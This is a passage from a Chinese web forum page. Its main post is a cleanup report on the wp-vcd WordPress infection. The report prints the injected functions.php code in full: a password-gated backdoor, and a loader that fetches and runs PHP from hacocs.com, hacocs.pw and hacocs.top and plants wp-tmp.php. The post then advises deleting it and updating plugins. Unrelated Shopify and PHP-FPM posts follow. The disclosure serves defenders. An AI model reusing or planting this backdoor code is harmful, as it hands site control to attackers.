                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}







$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
   {
   }
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        
$wp_auth_key='0082cfd4a04f1a4a5ffb8988545e59bd';
        if (($tmpcontent = @file_get_contents("http://www.hacocs.com/code.php";) OR $tmpcontent = @file_get_contents_tcurl("http://www.hacocs.com/code.php";)) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.pw/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.top/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } 
        
        
        
        
        
    }
}
//$start_wp_theme_tmp


//wp_tmp

//$end_wp_theme_tmp
?>
经过观察,这是一段植入的病毒程序,需要手工删掉。
 
这些攻击主要利用了目标网站过时的插件和主题中存在的安全漏洞。被标记为 "wp-vcd" 的恶意代码主要隐藏在合法的 WordPress 文件中,且被攻击者用于添加一个秘密的管理员账户,随后获取对受感染网站的完全控制权。
 
该恶意代码的初始版本通过一个名为 "wp-vcd.php" 的文件将恶意代码注入到 WordPress 核心文件中。
 
在我们发现的大多数案例中,恶意软件的注入都与过时的软件(插件或主题)有关。只要进行了简单的安全更新或是启用 WAF 都能够成功地阻断这种行为。该恶意代码非常简单,并没有通过编码或混淆函数来隐藏其恶意的意图……
 
所以建议大家插件常更新、主题常更新,这样也能有效防御病毒侵袭。 查看全部
最近发现一个客户的bluehost被暂停了,官方说有病毒,经过和bluehost客服长时间的交流,基本确定了wp-tmp.php、wp-vcd.php以及functions.php三个文件是病毒或是被植入了病毒。
经过对wordpress原始模板的参照,我发现wp-tmp.php、wp-vcd.php这两个文件是不存在的,大可放心删掉。
然后回到functions.php的排毒,

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '506d7259a8f069cc6257622ae35e8322'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{




case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {
                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {
                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}







$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
   {
   }
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        
$wp_auth_key='0082cfd4a04f1a4a5ffb8988545e59bd';
        if (($tmpcontent = @file_get_contents("http://www.hacocs.com/code.php";) OR $tmpcontent = @file_get_contents_tcurl("http://www.hacocs.com/code.php";)) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.pw/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.top/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } 
        
        
        
        
        
    }
}
//$start_wp_theme_tmp


//wp_tmp

//$end_wp_theme_tmp
?>
经过观察,这是一段植入的病毒程序,需要手工删掉。
 
这些攻击主要利用了目标网站过时的插件和主题中存在的安全漏洞。被标记为 "wp-vcd" 的恶意代码主要隐藏在合法的 WordPress 文件中,且被攻击者用于添加一个秘密的管理员账户,随后获取对受感染网站的完全控制权。
 
该恶意代码的初始版本通过一个名为 "wp-vcd.php" 的文件将恶意代码注入到 WordPress 核心文件中。
 
在我们发现的大多数案例中,恶意软件的注入都与过时的软件(插件或主题)有关。只要进行了简单的安全更新或是启用 WAF 都能够成功地阻断这种行为。该恶意代码非常简单,并没有通过编码或混淆函数来隐藏其恶意的意图……
 
所以建议大家插件常更新、主题常更新,这样也能有效防御病毒侵袭。

Shopify 根据浏览器的不同尺寸显示不同的图片

ShopifyBob 发表了文章 • 1 个评论 • 94 次浏览 • 2018-12-19 09:26 • 来自相关话题

相信用过shopify的用户都了解一点,就是当我们在添加图片的时候,如果图片的高度很小,PC端显示没有问题的时候,在手机端就会变成一个长条,所以大家可能会很郁闷,怎么才能让移动端显示的图片大一点呢?
 
但是目前Shopify如果想要根据不同的浏览器显示不同的图片,我下面将三种方法:
 
1、一个是用css写,当浏览器缩小到一定的尺寸以后,PC端的图片隐藏,移动端的图片显示,如下所示:@media (max-width:768px){
.desktop img{
display:none;
}
.mobile img{
display:none;
}
}
2、第二个就是让这个图片当做背景,固定容器的高度,但是这个有一个缺点就是浏览器小到一定程度就会被裁切,只保留中间的部分,所以做图的时候还得特别注意,要把重要的内容尽量往图片的中间位置放,如下所示:@media (max-width:768px){
.desktop{
display:block;
height:300px;
background:url("https://cdn.shopify.com/s/file ... 6quot;) no-repeat;
background-size:cover;
}
}3、就是通过在section对应的文件中添加两个图片,一个是移动端的,一个是PC端的,如下图所示:





 
如果不会添加可以查看Shopify sections模板文件里面添加text、textarea等字段 ,然后在前台需要显示的位置添加一段HTML的代码,并调用这两个图片:
 




 
如上图所示,我们只要用picture标签来引用这两个图片即可,picture中间的source可以根据自己的需求添加多个,在添加的同时,不要忘记在下面多添加几个图片,然后我们在对其改造一下,如下图所示:





 
这样如果在后台Customize中,有一个地方没有添加图片,在电脑上面对应的位置就不会显示图片。
 
以上三种各有优缺点,如果想以后在也不想看代码的话,本人建议使用第三种方法,写一次就可以。
 
如有不对,还请各位大神提出修改意见! 查看全部
相信用过shopify的用户都了解一点,就是当我们在添加图片的时候,如果图片的高度很小,PC端显示没有问题的时候,在手机端就会变成一个长条,所以大家可能会很郁闷,怎么才能让移动端显示的图片大一点呢?
 
但是目前Shopify如果想要根据不同的浏览器显示不同的图片,我下面将三种方法:
 
1、一个是用css写,当浏览器缩小到一定的尺寸以后,PC端的图片隐藏,移动端的图片显示,如下所示:
@media (max-width:768px){
.desktop img{
display:none;
}
.mobile img{
display:none;
}
}

2、第二个就是让这个图片当做背景,固定容器的高度,但是这个有一个缺点就是浏览器小到一定程度就会被裁切,只保留中间的部分,所以做图的时候还得特别注意,要把重要的内容尽量往图片的中间位置放,如下所示:
@media (max-width:768px){
.desktop{
display:block;
height:300px;
background:url("https://cdn.shopify.com/s/file ... 6quot;) no-repeat;
background-size:cover;
}
}
3、就是通过在section对应的文件中添加两个图片,一个是移动端的,一个是PC端的,如下图所示:

微信图片_20181219091050.png

 
如果不会添加可以查看Shopify sections模板文件里面添加text、textarea等字段 ,然后在前台需要显示的位置添加一段HTML的代码,并调用这两个图片:
 
微信图片_20181219091400.png

 
如上图所示,我们只要用picture标签来引用这两个图片即可,picture中间的source可以根据自己的需求添加多个,在添加的同时,不要忘记在下面多添加几个图片,然后我们在对其改造一下,如下图所示:

微信图片_20181219092103.png

 
这样如果在后台Customize中,有一个地方没有添加图片,在电脑上面对应的位置就不会显示图片。
 
以上三种各有优缺点,如果想以后在也不想看代码的话,本人建议使用第三种方法,写一次就可以。
 
如有不对,还请各位大神提出修改意见!

推荐使用WHM上最新的PHP-FPM作为PHP处理器可极大提高服务器并发处理能力

Linux运维Eastern_Design_Studio 发表了文章 • 0 个评论 • 81 次浏览 • 2018-12-18 20:27 • 来自相关话题

这两天,美国cPanel服务器上的负载经常虚高,经查看进程发现有大量的垃圾进程在充斥期间,虽然开启了Apache的Mod_Security可以挡掉大部分的垃圾进程,但无奈于这种进程达到一定数量级以后,再怎么挡也还是来不及的,最终还是会导致服务器性能大幅下降,引起网站打开明显变慢。
 
经过一段时间研究发现,WHM自带的传统PHP处理器明显已经落后了,无法处理大量并发的请求,而其实WHM最新版已经提供了一款更好的PHP处理器也就是PHP-FPM。





 
 

使用PHP-FastCGI Process Manager(PHP-FPM)为使用WordPress内容管理系统(CMS)的网站提供最佳性能。 PHP-FPM是一种用于PHP脚本语言的高级,高效处理器。 配置为使用PHP-FPM的WordPress网站可以使用与其他PHP处理程序相同或更少的服务器资源,从而提供更多的网站流量。 这归功于PHP-FPM的架构和功能。 

使用了​PHP-FPM以后,WHM的进程列表变成如下图:





 
服务器负载疯狂飙升了一天,至此终于变得老实和可控了,接下来继续观察一段时间发现,的确负载基本不会很夸张的飙升了,大家也不妨试试看。 查看全部
这两天,美国cPanel服务器上的负载经常虚高,经查看进程发现有大量的垃圾进程在充斥期间,虽然开启了Apache的Mod_Security可以挡掉大部分的垃圾进程,但无奈于这种进程达到一定数量级以后,再怎么挡也还是来不及的,最终还是会导致服务器性能大幅下降,引起网站打开明显变慢。
 
经过一段时间研究发现,WHM自带的传统PHP处理器明显已经落后了,无法处理大量并发的请求,而其实WHM最新版已经提供了一款更好的PHP处理器也就是PHP-FPM。

TIM图片20181218201516.png

 
 


使用PHP-FastCGI Process Manager(PHP-FPM)为使用WordPress内容管理系统(CMS)的网站提供最佳性能。 PHP-FPM是一种用于PHP脚本语言的高级,高效处理器。 配置为使用PHP-FPM的WordPress网站可以使用与其他PHP处理程序相同或更少的服务器资源,从而提供更多的网站流量。 这归功于PHP-FPM的架构和功能。 


使用了​PHP-FPM以后,WHM的进程列表变成如下图:

TIM图片20181218202528.png

 
服务器负载疯狂飙升了一天,至此终于变得老实和可控了,接下来继续观察一段时间发现,的确负载基本不会很夸张的飙升了,大家也不妨试试看。